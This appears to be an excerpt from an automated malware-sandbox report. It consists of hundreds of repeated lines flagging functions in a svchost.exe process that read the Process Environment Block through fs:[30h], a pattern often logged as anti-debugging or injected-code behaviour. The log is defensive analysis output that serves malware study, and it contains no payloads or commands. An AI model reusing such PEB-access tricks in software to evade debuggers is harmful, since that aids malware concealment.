Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]	2_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]	2_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]	2_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6500 mov eax, dword ptr fs:[00000030h]	2_2_032C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]	2_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]	2_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]	2_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]	2_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232582 mov eax, dword ptr fs:[00000030h]	2_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232582 mov ecx, dword ptr fs:[00000030h]	2_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264588 mov eax, dword ptr fs:[00000030h]	2_2_03264588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E59C mov eax, dword ptr fs:[00000030h]	2_2_0326E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032325E0 mov eax, dword ptr fs:[00000030h]	2_2_032325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]	2_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]	2_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]	2_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]	2_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032365D0 mov eax, dword ptr fs:[00000030h]	2_2_032365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C427 mov eax, dword ptr fs:[00000030h]	2_2_0322C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A430 mov eax, dword ptr fs:[00000030h]	2_2_0326A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC460 mov ecx, dword ptr fs:[00000030h]	2_2_032BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA456 mov eax, dword ptr fs:[00000030h]	2_2_032EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322645D mov eax, dword ptr fs:[00000030h]	2_2_0322645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325245A mov eax, dword ptr fs:[00000030h]	2_2_0325245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032364AB mov eax, dword ptr fs:[00000030h]	2_2_032364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032644B0 mov ecx, dword ptr fs:[00000030h]	2_2_032644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_032BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA49A mov eax, dword ptr fs:[00000030h]	2_2_032EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032304E5 mov ecx, dword ptr fs:[00000030h]	2_2_032304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]	2_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]	2_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]	2_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]	2_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304B00 mov eax, dword ptr fs:[00000030h]	2_2_03304B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322CB7E mov eax, dword ptr fs:[00000030h]	2_2_0322CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]	2_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]	2_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]	2_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]	2_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]	2_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]	2_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]	2_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]	2_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FAB40 mov eax, dword ptr fs:[00000030h]	2_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D8B42 mov eax, dword ptr fs:[00000030h]	2_2_032D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228B50 mov eax, dword ptr fs:[00000030h]	2_2_03228B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEB50 mov eax, dword ptr fs:[00000030h]	2_2_032DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]	2_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]	2_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EBFC mov eax, dword ptr fs:[00000030h]	2_2_0325EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_032BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_032DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA24 mov eax, dword ptr fs:[00000030h]	2_2_0326CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EA2E mov eax, dword ptr fs:[00000030h]	2_2_0325EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]	2_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]	2_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA38 mov eax, dword ptr fs:[00000030h]	2_2_0326CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BCA11 mov eax, dword ptr fs:[00000030h]	2_2_032BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEA60 mov eax, dword ptr fs:[00000030h]	2_2_032DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]	2_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]	2_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]	2_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]	2_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]	2_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]	2_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286AA4 mov eax, dword ptr fs:[00000030h]	2_2_03286AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304A80 mov eax, dword ptr fs:[00000030h]	2_2_03304A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268A90 mov edx, dword ptr fs:[00000030h]	2_2_03268A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]	2_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]	2_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230AD0 mov eax, dword ptr fs:[00000030h]	2_2_03230AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]	2_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]	2_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B892A mov eax, dword ptr fs:[00000030h]	2_2_032B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C892B mov eax, dword ptr fs:[00000030h]	2_2_032C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]	2_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]	2_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC912 mov eax, dword ptr fs:[00000030h]	2_2_032BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]	2_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]	2_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov edx, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]	2_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]	2_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC97C mov eax, dword ptr fs:[00000030h]	2_2_032BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0946 mov eax, dword ptr fs:[00000030h]	2_2_032B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304940 mov eax, dword ptr fs:[00000030h]	2_2_03304940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]	2_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]	2_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov esi, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_032BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]	2_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]	2_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C69C0 mov eax, dword ptr fs:[00000030h]	2_2_032C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
